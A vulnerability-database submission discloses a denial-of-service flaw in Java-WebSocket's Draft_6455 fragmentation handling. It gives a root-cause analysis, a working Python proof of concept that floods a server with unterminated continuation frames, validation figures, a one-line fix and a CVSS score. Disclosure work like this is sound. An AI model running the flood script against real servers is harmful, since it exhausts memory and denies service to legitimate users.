| Titel | TooTallNate Java-WebSocket 1.6.0 Allocation of Resources Without Limits or Throttling |
|---|
| Beschreibung | Java-WebSocket (TooTallNate) – Incomplete Buffer Limit Check in Fragmentation Handling (Draft_6455)
Vulnerability Type: CWE-770: Allocation of Resources Without Limits or Throttling
Affected Component: Draft_6455.java – processFrameContinuousAndNonFin() method – WebSocket fragmentation handling logic
Affected Versions: 1.6.1-SNAPSHOT (confirmed) and likely all versions using Draft_6455 with configurable maxFrameSize
Description:
The Java-WebSocket library (TooTallNate) contains an incomplete implementation of the buffer limit check in the fragmentation handling logic of the Draft_6455 WebSocket protocol implementation. When a user configures maxFrameSize to limit the accumulated message size, intermediate CONTINUOUS frames bypass this limit entirely, allowing unbounded memory allocation regardless of the configured threshold.
Root Cause Analysis:
The WebSocket protocol (RFC 6455) allows messages to be fragmented across multiple frames: one initial frame (TEXT or BINARY) followed by zero or more CONTINUOUS frames, ending with a FIN frame. Draft_6455 implements a checkBufferLimit() method intended to enforce the configured maxFrameSize on the accumulated message payload. However, this check is only invoked at two points:
First frame — processFrameIsNotFin() (line 1045)
Last frame — processFrameIsFin() (line 1007)
For all intermediate CONTINUOUS frames, the code path flows through processFrameContinuousAndNonFin() (lines 928–948), which calls addToBufferList() without calling checkBufferLimit():
java
// Draft_6455.java, lines 928-948
private void processFrameContinuousAndNonFin(WebSocketImpl webSocketImpl, Framedata frame,
Opcode curop) throws InvalidDataException {
if (curop != Opcode.CONTINUOUS) {
processFrameIsNotFin(frame); // ✓ calls checkBufferLimit()
} else if (frame.isFin()) {
processFrameIsFin(webSocketImpl, frame); // ✓ calls checkBufferLimit()
} else if (currentContinuousFrame == null) {
throw new InvalidDataException(...);
}
// For intermediate CONTINUOUS frames:
if (curop == Opcode.CONTINUOUS && currentContinuousFrame != null) {
addToBufferList(frame.getPayloadData()); // NO checkBufferLimit()!
}
}
The addToBufferList() method (line 1089) simply appends the payload to a synchronized list with no accumulated size check:
java
private void addToBufferList(ByteBuffer payloadData) {
byteBufferList.add(payloadData);
}
The checkBufferLimit() method (lines 1101–1108) exists and would correctly enforce the limit, but it is never reached for intermediate frames:
java
private void checkBufferLimit() throws LimitExedeedException {
if (currentContinuousFrame == null) return;
long totalSize = getBufferSize(); // sums all entries in byteBufferList
if (totalSize > maxFrameSize) {
throw new LimitExedeedException(...);
}
}
Attack Scenario:
An attacker can exploit this by sending a sequence of fragmented WebSocket frames where each individual frame is within the per-frame maxFrameSize limit (enforced by translateSingleFrame()), but the accumulated total across CONTINUOUS frames far exceeds the configured threshold:
Attacker completes WebSocket handshake with target server
Sends a non-FIN TEXT frame (starts fragmented message, triggers checkBufferLimit() — passes because payload < maxFrameSize)
Sends N large non-FIN CONTINUOUS frames (each passes per-frame limit check, but checkBufferLimit() is never called on accumulated buffer)
Never sends FIN frame — the final checkBufferLimit() in processFrameIsFin() never triggers
Server memory grows unbounded with each CONTINUOUS frame → OutOfMemoryError / Denial of Service
The maxFrameSize configuration gives users a false sense of protection: the limit is enforced on individual frames and on the first/last frames of a fragmented message, but not on the accumulated total during the fragmentation process.
Steps to Reproduce:
Deploy a WebSocket server using Draft_6455 with maxFrameSize configured to 1,048,576 bytes (1 MB)
Complete the WebSocket handshake with the target server
Send a non-FIN TEXT frame with payload size less than maxFrameSize (e.g., 100,000 bytes)
Send multiple non-FIN CONTINUOUS frames, each with payload size less than maxFrameSize (e.g., 100,000 bytes each)
Observe that the server accepts all frames without enforcing the configured maxFrameSize limit
The accumulated buffer grows to multiple megabytes (e.g., 10.6 MB) — exceeding the configured limit by 10.6×
No error or limit exception is thrown; the connection remains open
Proof of Concept (PoC):
python
# poc_vuln1_continuous_flood.py — send fragmented frames with no FIN
import socket
import struct
import time
def create_frame(payload, opcode=0x1, fin=0, mask=True):
"""Create WebSocket frame (client-to-server: masked)"""
header = bytearray()
header.append((fin << 7) | opcode)
length = len(payload)
if length < 126:
header.append(0x80 | length) # masked flag set
elif length < 65536:
header.append(0x80 | 126)
header.extend(struct.pack('>H', length))
else:
header.append(0x80 | 127)
header.extend(struct.pack('>Q', length))
mask_key = struct.pack('>I', 0x12345678) # static mask for demo
header.extend(mask_key)
masked_payload = bytes([p ^ mask_key[i % 4] for i, p in enumerate(payload)])
return bytes(header) + masked_payload
# Connect to target
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('localhost', 8887))
# Perform WebSocket handshake
handshake = (
"GET / HTTP/1.1\r\n"
"Host: localhost:8887\r\n"
"Upgrade: websocket\r\n"
"Connection: Upgrade\r\n"
"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n"
"Sec-WebSocket-Version: 13\r\n"
"\r\n"
)
sock.send(handshake.encode())
sock.recv(4096)
# Send initial non-FIN TEXT frame (opcode=0x1, fin=0)
payload = b'A' * 100000
sock.send(create_frame(payload, opcode=0x1, fin=0))
print(f"[+] Sent initial TEXT frame: {len(payload)} bytes")
# Send 110 CONTINUOUS frames (opcode=0x0, fin=0)
for i in range(110):
payload = b'B' * 100000
sock.send(create_frame(payload, opcode=0x0, fin=0))
if (i + 1) % 10 == 0:
total = (i + 2) * 100000 # +1 initial frame
print(f"[+] Sent {i+1}/110 | accumulated = {total/1024/1024:.1f} MB")
time.sleep(0.01)
print("[!] FIN frame not sent — checkBufferLimit() never triggers")
sock.close()
PoC Validation Results:
Metric Value
Server maxFrameSize configured 1,048,576 bytes (1 MB)
Each CONTINUOUS frame payload 100,000 bytes (~97 KB)
Number of CONTINUOUS frames sent 110
Initial TEXT frame payload 100,000 bytes
Total accumulated payload 11,100,000 bytes (10.6 MB)
Exceeded limit by 10.6×
The server accepted all 111 frames accumulating 10.6 MB — exceeding the configured 1 MB limit by 10.6× — without triggering any size enforcement. The checkBufferLimit() method was never called for any of the 110 intermediate CONTINUOUS frames. The connection remained open and functional throughout.
Impact:
An unauthenticated remote attacker who establishes a WebSocket connection can exploit this vulnerability to exhaust server memory by sending a series of fragmented CONTINUOUS frames without terminating the fragmentation sequence. This results in unbounded memory allocation leading to:
OutOfMemoryError (OOM) — server process crashes
Denial of Service (DoS) — legitimate connections cannot be served
The maxFrameSize configuration provides a false sense of security: administrators believe they have configured a buffer limit, but the limit is not enforced on intermediate fragmented frames. The vulnerability affects any application using the Java-WebSocket library's Draft_6455 implementation with a configured maxFrameSize.
Data NOT Exposed:
This is a Denial of Service vulnerability. No data is leaked or exposed; the impact is exclusively availability-related (resource exhaustion).
Remediation:
Add checkBufferLimit() call after addToBufferList() for intermediate CONTINUOUS frames:
java
// In processFrameContinuousAndNonFin(), after the CONTINUOUS branch:
if (curop == Opcode.CONTINUOUS && currentContinuousFrame != null) {
addToBufferList(frame.getPayloadData());
checkBufferLimit(); // ← ADD THIS LINE
}
This ensures that the configured maxFrameSize is enforced on the accumulated buffer after every CONTINUOUS frame, not just the first and last frames.
CVSS 3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (Score: 7.5 High)
Rationale for CVSS Score:
Attack Vector: Network (exploitable remotely)
Attack Complexity: Low (standard WebSocket frames)
Privileges Required: None (unauthenticated)
User Interaction: None
Scope: Unchanged
Confidentiality Impact: None (no data leak)
Integrity Impact: None (no data modification)
Availability Impact: High (server crash via OOM)
|
|---|
| Quelle | ⚠️ https://github.com/TooTallNate/Java-WebSocket/issues/1508 |
|---|
| Benutzer | emiya (UID 100287) |
|---|
| Einreichung | 03.08.2026 07:41 (vor 1 Monat) |
|---|
| Moderieren | 12.09.2026 19:40 (1 month later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 403169 [TooTallNate Java-WebSocket bis 1.6.1 Fragmentation Draft_6455.java processFrameContinuousAndNonFin Denial of Service] |
|---|
| Punkte | 20 |
|---|